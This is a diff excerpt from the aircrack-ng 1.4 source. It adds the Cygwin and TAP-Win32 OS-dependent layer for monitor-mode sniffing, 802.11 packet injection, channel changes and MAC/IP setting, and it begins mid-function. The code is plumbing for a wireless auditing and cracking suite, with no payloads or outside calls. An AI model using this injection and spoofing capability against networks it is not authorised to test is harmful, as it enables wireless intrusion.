+		plen = strlen(Pattern);
+
+		 /* while string length not shorter than pattern length */
+
+		 slen >= plen;
+
+		 start++, slen--)
+	{
+		/* find start of pattern in string */
+		while (toupper((int) *start) != toupper((int) *Pattern))
+		{
+			start++;
+			slen--;
+
+			/* if pattern longer than string */
+
+			if (slen < plen) return (NULL);
+		}
+
+		sptr = start;
+		pptr = (char *) Pattern;
+
+		while (toupper((int) *sptr) == toupper((int) *pptr))
+		{
+			sptr++;
+			pptr++;
+
+			/* if end of pattern then pattern was found */
+
+			if ('\0' == *pptr) return (start);
+		}
+	}
+	return (NULL);
+}
+
+/**
+ * Get the different functions for to interact with the device:
+ * - setting monitor mode
+ * - changing channel
+ * - capturing data
+ * - injecting packets
+ * @param iface The interface name
+ */
+static int do_cygwin_open(struct wif * wi, char * iface)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+	void * lib;
+	char * file;
+	char * parm;
+	int rc = -1;
+
+	if (!iface) return -1;
+	if (strlen(iface) == 0) return -1;
+
+	priv->useDll = 0;
+
+	if (stristr(iface, DLL_EXTENSION)) priv->useDll = 1;
+
+	if (priv->useDll)
+	{
+		file = strdup(iface);
+		if (!file) return -1;
+
+		parm = strchr(file, '|');
+		if (parm) *parm++ = 0;
+
+		/* load lib */
+		lib = dlopen(file, RTLD_LAZY);
+		if (!lib) goto errdll;
+
+		priv->pc_init = dlsym(lib, xstr(CYGWIN_DLL_INIT));
+		priv->pc_set_chan = dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN));
+		priv->pc_set_freq = dlsym(lib, xstr(CYGWIN_DLL_SET_FREQ));
+		priv->pc_get_mac = dlsym(lib, xstr(CYGWIN_DLL_GET_MAC));
+		priv->pc_set_mac = dlsym(lib, xstr(CYGWIN_DLL_SET_MAC));
+		priv->pc_close = dlsym(lib, xstr(CYGWIN_DLL_CLOSE));
+		priv->pc_inject = dlsym(lib, xstr(CYGWIN_DLL_INJECT));
+		priv->pc_sniff = dlsym(lib, xstr(CYGWIN_DLL_SNIFF));
+
+		if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac
+			  && priv->pc_inject
+			  && priv->pc_sniff
+			  && priv->pc_close))
+			goto errdll;
+
+		/* init lib */
+		if ((rc = priv->pc_init(parm))) goto errdll;
+		priv->pc_did_init = 1;
+
+		rc = 0;
+
+	errdll:
+		free(file);
+	}
+	else
+	{
+#ifdef HAVE_AIRPCAP
+		// Check if it's an Airpcap device
+		priv->isAirpcap = isAirpcapDevice(iface);
+
+		if (priv->isAirpcap)
+		{
+			// Get functions
+			priv->pc_init = airpcap_init;
+			priv->pc_set_chan = airpcap_set_chan;
+			priv->pc_get_mac = airpcap_get_mac;
+			priv->pc_set_mac = airpcap_set_mac;
+			priv->pc_close = airpcap_close;
+			priv->pc_inject = airpcap_inject;
+			priv->pc_sniff = airpcap_sniff;
+
+			rc = 0;
+		}
+
+#endif
+	}
+
+	if (rc == 0)
+	{
+		// Don't forget to initialize
+		if (!priv->useDll)
+		{
+			rc = priv->pc_init(iface);
+
+			if (rc == 0)
+				priv->pc_did_init = 1;
+			else
+				fprintf(stderr, "Error initializing <%s>\n", iface);
+		}
+	}
+	else
+	{
+		// Show an error message if the adapter is not supported
+		fprintf(stderr, "Adapter <%s> not supported\n", iface);
+	}
+
+	return rc;
+}
+
+/**
+ * Change channel
+ * @param chan Channel
+ * @return 0 if successful, -1 if it failed
+ */
+static int cygwin_set_channel(struct wif * wi, int chan)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+
+	if (priv->pc_set_chan(chan) == -1) return -1;
+
+	priv->pc_channel = chan;
+	return 0;
+}
+
+/**
+ * Change frequency
+ * @param freq Frequency
+ * @return 0 if successful, -1 if it failed
+ */
+static int cygwin_set_freq(struct wif * wi, int freq)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+
+	if (!priv->pc_set_freq || priv->pc_set_freq(freq) == -1) return -1;
+
+	priv->pc_frequency = freq;
+	return 0;
+}
+
+/**
+ * Capture a packet
+ * @param buf Buffer for the packet (has to be already allocated)
+ * @param len Length of the buffer
+ * @param ri Receive information structure
+ * @return -1 in case of failure or the number of bytes received
+ */
+static int cygwin_read_packet(struct priv_cygwin * priv,
+							  void * buf,
+							  int len,
+							  struct rx_info * ri)
+{
+	int rd;
+
+	memset(ri, 0, sizeof(*ri));
+
+	rd = priv->pc_sniff(buf, len, ri);
+	if (rd == -1) return -1;
+
+	if (!ri->ri_channel) ri->ri_channel = wi_get_channel(priv->pc_wi);
+
+	return rd;
+}
+
+/**
+ * Send a packet
+ * @param h80211 The packet itself
+ * @param len Length of the packet
+ * @param ti Transmit information
+ * @return -1 if failure or the number of bytes sent
+ */
+static int cygwin_write(struct wif * wi,
+						unsigned char * h80211,
+						int len,
+						struct tx_info * ti)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+	int rc;
+
+	if ((rc = priv->pc_inject(h80211, len, ti)) == -1) return -1;
+
+	return rc;
+}
+
+/**
+ * Get device channel
+ * @return channel
+ */
+static int cygwin_get_channel(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_channel;
+}
+
+static int cygwin_get_freq(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_frequency;
+}
+
+int cygwin_read_reader(int fd, int plen, void * dst, int len)
+{
+	/* packet */
+	if (len > plen) len = plen;
+	if (net_read_exact(fd, dst, len) == -1) return -1;
+	plen -= len;
+
+	/* consume packet */
+	while (plen)
+	{
+		char lame[1024];
+		int rd = sizeof(lame);
+
+		if (rd > plen) rd = plen;
+
+		if (net_read_exact(fd, lame, rd) == -1) return -1;
+
+		plen -= rd;
+
+		assert(plen >= 0);
+	}
+
+	return len;
+}
+
+static int cygwin_read(struct wif * wi,
+					   unsigned char * h80211,
+					   int len,
+					   struct rx_info * ri)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+	struct rx_info tmp;
+	int plen;
+
+	if (pc->pc_running == -1) return -1;
+
+	if (!ri) ri = &tmp;
+
+	/* length */
+	if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1) return -1;
+
+	/* ri */
+	if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1) return -1;
+	plen -= sizeof(*ri);
+	assert(plen > 0);
+
+	return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len);
+}
+
+/**
+ * Free allocated data
+ */
+static void do_free(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+	int tries = 3;
+
+	/* wait for reader */
+	if (pc->pc_running == 1)
+	{
+		pc->pc_running = 0;
+
+		while ((pc->pc_running != -1) && tries--) sleep(1);
+	}
+
+	if (pc->pc_pipe[0])
+	{
+		close(pc->pc_pipe[0]);
+		close(pc->pc_pipe[1]);
+	}
+
+	if (pc->pc_did_init) pc->pc_close();
+
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+
+	free(wi);
+}
+
+/**
+ * Close the device and free data
+ */
+static void cygwin_close(struct wif * wi) { do_free(wi); }
+
+/**
+ * Get the file descriptor for the device
+ */
+static int cygwin_fd(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	if (pc->pc_running == -1) return -1;
+
+	return pc->pc_pipe[0];
+}
+
+/**
+ * Get MAC Address of the device
+ * @param mac It will contain the mac address
+ * @return 0 if successful
+ */
+static int cygwin_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_get_mac(mac);
+}
+/**
+ * Set MAC Address of the device
+ * @param mac MAC Address
+ * @return 0 if successful
+ */
+static int cygwin_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_set_mac(mac);
+}
+
+static int cygwin_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	return 0;
+}
+
+static int cygwin_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	return 1000000;
+}
+
+/**
+ * Set (injection) rate of the device
+ * @param rate Rate to be used
+ * @return 0 (successful)
+ */
+static int cygwin_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	return 0;
+}
+
+static void * cygwin_reader(void * arg)
+{
+	struct priv_cygwin * priv = arg;
+	unsigned char buf[2048];
+	int len;
+	struct rx_info ri;
+
+	while (priv->pc_running)
+	{
+		/* read one packet */
+
+		/* a potential problem: the cygwin_read_packet will never return
+		 * if there no packet sniffered, so the thread cannot be closed
+		 * correctly.
+		 */
+		len = cygwin_read_packet(priv, buf, sizeof(buf), &ri);
+		if (len == -1) break;
+
+		/* len */
+		len += sizeof(ri);
+		if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len)) break;
+		len -= sizeof(ri);
+
+		/* ri */
+		if (write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri)) break;
+
+		/* packet */
+		if (write(priv->pc_pipe[1], buf, len) != len) break;
+	}
+
+	priv->pc_running = -1;
+	return NULL;
+}
+
+static struct wif * cygwin_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_cygwin * priv;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*priv));
+	if (!wi) return NULL;
+	wi->wi_read = cygwin_read;
+	wi->wi_write = cygwin_write;
+	wi->wi_set_channel = cygwin_set_channel;
+	wi->wi_get_channel = cygwin_get_channel;
+	wi->wi_set_freq = cygwin_set_freq;
+	wi->wi_get_freq = cygwin_get_freq;
+	wi->wi_close = cygwin_close;
+	wi->wi_fd = cygwin_fd;
+	wi->wi_get_mac = cygwin_get_mac;
+	wi->wi_set_mac = cygwin_set_mac;
+	wi->wi_get_rate = cygwin_get_rate;
+	wi->wi_set_rate = cygwin_set_rate;
+	wi->wi_get_monitor = cygwin_get_monitor;
+
+	/* setup iface */
+	if (do_cygwin_open(wi, iface) == -1) goto err;
+
+	/* setup private state */
+	priv = wi_priv(wi);
+	priv->pc_wi = wi;
+
+	/* setup reader */
+	if (pipe(priv->pc_pipe) == -1) goto err;
+	priv->pc_running = 2;
+	if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv)) goto err;
+	priv->pc_running = 1;
+
+	return wi;
+
+err:
+	do_free(wi);
+	return NULL;
+}
+
+struct wif * wi_open_osdep(char * iface) { return cygwin_open(iface); }
+
+/**
+ * Return remaining battery time in seconds.
+ * @return Battery time in seconds or 0 if no battery (or connected to power)
+ */
+EXPORT int get_battery_state(void)
+{
+	SYSTEM_POWER_STATUS powerStatus;
+	int batteryTime = 0;
+
+	if (GetSystemPowerStatus(&powerStatus) == TRUE)
+	{
+
+		if (powerStatus.ACLineStatus == 0)
+			batteryTime = (int) powerStatus.BatteryLifeTime;
+	}
+	return batteryTime;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/cygwin.h Added

@@ -0,0 +1,52 @@
+/*
+   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+   *
+   *  OS dependent API for cygwin. It relies on an external
+   *  DLL to do the actual wifi stuff
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+   */
+
+// DLL function that have to be exported
+#define CYGWIN_DLL_INIT cygwin_init
+#define CYGWIN_DLL_SET_CHAN cygwin_set_chan
+#define CYGWIN_DLL_SET_FREQ cygwin_set_freq
+#define CYGWIN_DLL_INJECT cygwin_inject
+#define CYGWIN_DLL_SNIFF cygwin_sniff
+#define CYGWIN_DLL_GET_MAC cygwin_get_mac
+#define CYGWIN_DLL_SET_MAC cygwin_set_mac
+#define CYGWIN_DLL_CLOSE cygwin_close
+
+/*
+ * Prototypes:
+ * int  CYGWIN_DLL_INIT		(char *param);
+ * int  CYGWIN_DLL_SET_CHAN	(int chan);
+ * int  CYGWIN_DLL_INJECT	(void *buf, int len, struct tx_info *ti);
+ * int  CYGWIN_DLL_SNIFF	(void *buf, int len, struct rx_info *ri);
+ * int  CYGWIN_DLL_GET_MAC	(unsigned char *mac);
+ * int  CYGWIN_DLL_SET_MAC	(unsigned char *mac);
+ * void CYGWIN_DLL_CLOSE	(void);
+ *
+ * Notes:
+ * - sniff can block and inject can be called by another thread.
+ * - return -1 for error.
+ *
+ */
+
+/* XXX the interface is broken.  init() should return a void* that is passed to
+ * each call.  This way multiple instances can be open by a single process.
+ * -sorbo
+ *
+ */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/cygwin_tap.c Added

@@ -0,0 +1,645 @@
+/*
+   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+   *
+   *  OS dependent API for cygwin. TAP routines
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <assert.h>
+
+#include "osdep.h"
+
+#include <windows.h>
+#include <winioctl.h>
+#include <ipexport.h>
+#include <iptypes.h>
+#include <initguid.h>
+#include <devguid.h>
+#include <setupapi.h>
+
+#include "network.h"
+#include "tap-win32/common.h"
+
+extern DWORD WINAPI GetAdaptersInfo(PIP_ADAPTER_INFO pAdapterInfo,
+									PULONG pOutBufLen);
+extern DWORD WINAPI AddIPAddress(IPAddr Address,
+								 IPMask IpMask,
+								 DWORD IfIndex,
+								 PULONG NTEContext,
+								 PULONG NTEInstance);
+extern DWORD WINAPI DeleteIPAddress(ULONG NTEContext);
+
+extern int cygwin_read_reader(int fd, int plen, void * dst, int len);
+static void * ti_reader(void * arg);
+
+struct tip_cygwin
+{
+	char tc_name[MAX_IFACE_NAME];
+	HANDLE tc_h;
+	pthread_t tc_reader;
+	volatile int tc_running;
+	int tc_pipe[2]; /* reader -> parent */
+	pthread_mutex_t tc_mtx;
+	HKEY tc_key;
+	char tc_guid[256];
+};
+
+/**
+ * Stop the reader thread (if it is running)
+ * @return 0 if stopped or -1 if it failed to stop it
+ */
+static int stop_reader(struct tip_cygwin * priv)
+{
+	if (priv->tc_running == 1)
+	{
+		int tries = 3;
+
+		priv->tc_running = 0;
+		while ((priv->tc_running != -1) && tries--) sleep(1);
+
+		if (tries <= 0) return -1;
+	}
+
+	return 0;
+}
+
+/**
+ * Start reader thread
+ * @return -1 if failed to start thread or 0 if it is successful
+ */
+static int start_reader(struct tip_cygwin * priv)
+{
+	priv->tc_running = 2;
+	if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv)) return -1;
+
+	priv->tc_running = 1;
+
+	return 0;
+}
+
+/**
+ * Change status (enable/disable) of the device
+ */
+static int ti_media_status(struct tip_cygwin * priv, int on)
+{
+	ULONG s = on;
+	DWORD len;
+
+	if (!DeviceIoControl(priv->tc_h,
+						 TAP_IOCTL_SET_MEDIA_STATUS,
+						 &s,
+						 sizeof(s),
+						 &s,
+						 sizeof(s),
+						 &len,
+						 NULL))
+		return -1;
+
+	return 0;
+}
+
+/**
+ * Try opening device
+ */
+static int ti_try_open(struct tip_cygwin * priv, char * guid)
+{
+	int any = priv->tc_guid[0] == 0;
+	char device[256];
+	HANDLE h;
+
+	if (!any && strcmp(priv->tc_guid, guid) != 0) return 0;
+
+	/* open the device */
+	snprintf(
+		device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX);
+	h = CreateFile(device,
+				   GENERIC_READ | GENERIC_WRITE,
+				   0,
+				   0,
+				   OPEN_EXISTING,
+				   FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED,
+				   0);
+	if (h == INVALID_HANDLE_VALUE)
+	{
+		if (any)
+			return 0;
+		else
+			return -1;
+	}
+	priv->tc_h = h;
+
+	/* XXX check tap version */
+
+	/* bring iface up */
+	if (ti_media_status(priv, 1) == -1) return -1;
+
+	/* XXX grab printable name */
+	snprintf(priv->tc_name, sizeof(priv->tc_name) - 1, "%s", guid);
+
+	if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid);
+
+	return 1;
+}
+
+/**
+ * Read registry value
+ * @param key Registry key
+ * @return 0 if successful, -1 if it failed
+ */
+static int
+ti_read_reg(struct tip_cygwin * priv, char * key, char * res, int len)
+{
+	DWORD dt, l = len;
+
+	if (RegQueryValueEx(priv->tc_key, key, NULL, &dt, (unsigned char *) res, &l)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (dt != REG_SZ) return -1;
+
+	if ((int) l > len) return -1;
+
+	return 0;
+}
+
+static int ti_get_devs_component(struct tip_cygwin * priv, char * name)
+{
+	char key[256];
+	int rc = 0;
+
+	snprintf(key, sizeof(key) - 1, "%s\\%s", ADAPTER_KEY, name);
+	if (RegOpenKeyEx(
+			HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1) goto out;
+
+	/* make sure component id matches */
+	if (strcmp(key, TAP_COMPONENT_ID) != 0) goto out;
+
+	/* get guid */
+	if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1) goto out;
+
+	rc = ti_try_open(priv, key);
+
+out:
+	if (rc != 1)
+	{
+		RegCloseKey(priv->tc_key);
+		priv->tc_key = 0;
+	}
+
+	return rc;
+}
+
+static int ti_do_open_cygwin(struct tip_cygwin * priv)
+{
+	int rc = -1;
+	HKEY ak47;
+	int i;
+	char name[256];
+	DWORD len;
+
+	/* open network driver key */
+	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	/* find tap */
+	for (i = 0;; i++)
+	{
+		len = sizeof(name);
+		if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL)
+			!= ERROR_SUCCESS)
+			break;
+
+		rc = ti_get_devs_component(priv, name);
+		if (rc) break;
+		rc = -1;
+	}
+
+	RegCloseKey(ak47);
+
+	if (rc == 1) rc = 0;
+
+	return rc;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+
+	/* stop reader */
+	stop_reader(priv);
+
+	if (priv->tc_pipe[0])
+	{
+		close(priv->tc_pipe[0]);
+		close(priv->tc_pipe[1]);
+	}
+
+	/* close card */
+	if (priv->tc_h)
+	{
+		ti_media_status(priv, 0);
+		CloseHandle(priv->tc_h);
+	}
+
+	if (priv->tc_key) RegCloseKey(priv->tc_key);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_close_cygwin(struct tif * ti) { ti_do_free(ti); }
+
+static char * ti_name_cygwin(struct tif * ti)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+
+	return priv->tc_name;
+}
+
+/* XXX */
+static int
+ti_is_us(struct tip_cygwin * priv, HDEVINFO * hdi, SP_DEVINFO_DATA * did)
+{
+	char buf[256];
+	DWORD len = sizeof(buf), dt;
+
+	if (priv)
+	{
+	} /* XXX unused */
+
+	if (!SetupDiGetDeviceRegistryProperty(
+			*hdi, did, SPDRP_DEVICEDESC, &dt, (unsigned char *) buf, len, &len))
+		return 0;
+
+	if (dt != REG_SZ) return 0;
+
+	return strstr(buf, "TAP-Win32") != NULL;
+}
+
+static int ti_reset_state(HDEVINFO * hdi, SP_DEVINFO_DATA * did, DWORD state)
+{
+	SP_PROPCHANGE_PARAMS parm;
+
+	parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader);
+	parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE;
+	parm.Scope = DICS_FLAG_GLOBAL;
+	parm.StateChange = state;
+
+	if (!SetupDiSetClassInstallParams(
+			*hdi, did, (SP_CLASSINSTALL_HEADER *) &parm, sizeof(parm)))
+		return -1;
+
+	if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did)) return -1;
+
+	return 0;
+}
+
+/**
+ * Reset the device
+ * @return 0 if successful, -1 if it failed
+ */
+static int ti_do_reset(HDEVINFO * hdi, SP_DEVINFO_DATA * did)
+{
+	int rc;
+
+	rc = ti_reset_state(hdi, did, DICS_DISABLE);
+	if (rc) return rc;
+
+	return ti_reset_state(hdi, did, DICS_ENABLE);
+}
+
+static int ti_restart(struct tip_cygwin * priv)
+{
+	/* kill handle to if */
+	if (priv->tc_h) CloseHandle(priv->tc_h);
+
+	/* stop reader */
+	if (stop_reader(priv)) return -1;
+
+	/* reopen dev */
+	if (ti_do_open_cygwin(priv)) return -1;
+
+	return start_reader(priv);
+}
+
+static int ti_reset(struct tip_cygwin * priv)
+{
+	HDEVINFO hdi;
+	SP_DEVINFO_DATA did;
+	int i;
+	int rc = -1;
+
+	hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL, DIGCF_PRESENT);
+	if (hdi == INVALID_HANDLE_VALUE) return -1;
+
+	/* find device */
+	for (i = 0;; i++)
+	{
+		did.cbSize = sizeof(did);
+		if (!SetupDiEnumDeviceInfo(hdi, i, &did)) break;
+
+		if (!ti_is_us(priv, &hdi, &did)) continue;
+
+		rc = ti_do_reset(&hdi, &did);
+		if (rc) break;
+
+		rc = ti_restart(priv);
+		break;
+	}
+
+	SetupDiDestroyDeviceInfoList(hdi);
+
+	return rc;
+}
+
+static int ti_set_mtu_cygwin(struct tif * ti, int mtu)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	char m[16];
+	char mold[sizeof(m)];
+	char * key = "MTU";
+
+	/* check if reg remains unchanged to avoid reset */
+	snprintf(m, sizeof(m) - 1, "%d", mtu);
+	if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1)
+	{
+		if (strcmp(m, mold) == 0) return 0;
+	}
+
+	/* change */
+	if (RegSetValueEx(
+			priv->tc_key, key, 0, REG_SZ, (unsigned char *) m, strlen(m) + 1)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (ti_reset(priv) == -1) return -1;
+
+	return 0;
+}
+
+/**
+ * Set device MAC address
+ * @param mac New MAC address
+ * @return -1 if it failed, 0 on success
+ */
+static int ti_set_mac_cygwin(struct tif * ti, unsigned char * mac)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	char str[2 * 6 + 1];
+	char strold[sizeof(str)];
+	int i;
+	char * key = "MAC";
+
+	/* convert */
+	str[0] = 0;
+	for (i = 0; i < 6; i++)
+	{
+		char tmp[3];
+
+		if (sprintf(tmp, "%.2X", *mac++) != 2) return -1;
+		strcat(str, tmp);
+	}
+
+	/* check if changed */
+	if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1)
+	{
+		if (strcmp(str, strold) == 0) return 0;
+	}
+
+	/* own */
+	if (RegSetValueEx(priv->tc_key,
+					  key,
+					  0,
+					  REG_SZ,
+					  (unsigned char *) str,
+					  strlen(str) + 1)
+		!= ERROR_SUCCESS)
+		return -1;
+
+	if (ti_reset(priv) == -1) return -1;
+
+	return 0;
+}
+
+/**
+ * Set device IP address
+ * @param ip New IP address
+ * @return -1 if it failed, 0 on success
+ */
+static int ti_set_ip_cygwin(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	ULONG ctx, inst;
+	IP_ADAPTER_INFO ai[16];
+	DWORD len = sizeof(ai);
+	PIP_ADAPTER_INFO p;
+	PIP_ADDR_STRING ips;
+
+	if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS) return -1;
+
+	p = ai;
+	while (p)
+	{
+		if (strcmp(priv->tc_guid, p->AdapterName) != 0)
+		{
+			p = p->Next;
+			continue;
+		}
+
+		/* delete ips */
+		ips = &p->IpAddressList;
+		while (ips)
+		{
+			DeleteIPAddress(ips->Context);
+			ips = ips->Next;
+		}
+
+		/* add ip */
+		if (AddIPAddress(ip->s_addr, htonl(0xffffff00), p->Index, &ctx, &inst)
+			!= NO_ERROR)
+			return -1;
+
+		break;
+	}
+
+	return 0;
+}
+
+static int ti_fd_cygwin(struct tif * ti)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+
+	return priv->tc_pipe[0];
+}
+
+static int ti_read_cygwin(struct tif * ti, void * buf, int len)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	int plen;
+
+	if (priv->tc_running != 1) return -1;
+
+	/* read len */
+	if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1) return -1;
+
+	return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len);
+}
+
+static int ti_wait_complete(struct tip_cygwin * priv, OVERLAPPED * o)
+{
+	DWORD sz;
+
+	if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE)) return -1;
+
+	return sz;
+}
+
+static int
+ti_do_io(struct tip_cygwin * priv, void * buf, int len, OVERLAPPED * o, int wr)
+{
+	BOOL rc;
+	DWORD sz;
+	int err;
+
+	/* setup overlapped */
+	memset(o, 0, sizeof(*o));
+
+	/* do io */
+	if (wr)
+		rc = WriteFile(priv->tc_h, buf, len, &sz, o);
+	else
+		rc = ReadFile(priv->tc_h, buf, len, &sz, o);
+
+	/* done */
+	if (rc) return sz;
+
+	if ((err = GetLastError()) != ERROR_IO_PENDING) return -1;
+
+	return 0; /* pending */
+}
+
+static int ti_do_io_lock(
+	struct tip_cygwin * priv, void * buf, int len, OVERLAPPED * o, int wr)
+{
+	int rc;
+
+	if (pthread_mutex_lock(&priv->tc_mtx)) return -1;
+
+	rc = ti_do_io(priv, buf, len, o, wr);
+
+	if (pthread_mutex_unlock(&priv->tc_mtx)) return -1;
+
+	/* done */
+	if (rc) return rc;
+
+	return ti_wait_complete(priv, o);
+}
+
+static int ti_write_cygwin(struct tif * ti, void * buf, int len)
+{
+	struct tip_cygwin * priv = ti_priv(ti);
+	OVERLAPPED o;
+
+	return ti_do_io_lock(priv, buf, len, &o, 1);
+}
+
+static int ti_read_packet(struct tip_cygwin * priv, void * buf, int len)
+{
+	OVERLAPPED o;
+	int rc;
+
+	while (priv->tc_running)
+	{
+		rc = ti_do_io_lock(priv, buf, len, &o, 0);
+		if (rc) return rc;
+	}
+
+	return -1;
+}
+
+static void * ti_reader(void * arg)
+{
+	struct tip_cygwin * priv = arg;
+	unsigned char buf[2048];
+	int len;
+
+	while (priv->tc_running)
+	{
+		/* read a packet */
+		if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1) break;
+
+		assert(len > 0);
+
+		/* write it's length */
+		if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len)) break;
+
+		/* write payload */
+		if (write(priv->tc_pipe[1], buf, len) != len) break;
+	}
+
+	priv->tc_running = -1;
+
+	return NULL;
+}
+
+static struct tif * ti_open_cygwin(char * iface)
+{
+	struct tif * ti;
+	struct tip_cygwin * priv;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	priv = ti_priv(ti);
+
+	ti->ti_name = ti_name_cygwin;
+	ti->ti_set_mtu = ti_set_mtu_cygwin;
+	ti->ti_close = ti_close_cygwin;
+	ti->ti_fd = ti_fd_cygwin;
+	ti->ti_read = ti_read_cygwin;
+	ti->ti_write = ti_write_cygwin;
+	ti->ti_set_mac = ti_set_mac_cygwin;
+	ti->ti_set_ip = ti_set_ip_cygwin;
+
+	/* setup iface */
+	if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface);
+	if (ti_do_open_cygwin(priv) == -1) goto err;
+
+	/* setup reader */
+	if (pipe(priv->tc_pipe) == -1) goto err;
+
+	if (pthread_mutex_init(&priv->tc_mtx, NULL)) goto err;
+
+	/* launch reader */
+	if (start_reader(priv)) goto err;
+
+	return ti;
+err:
+	ti_do_free(ti);
+	return NULL;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_cygwin(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/darwin.c Added

@@ -0,0 +1,47 @@
+/*
+  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon
+  *  freebsd.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for Darwin.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
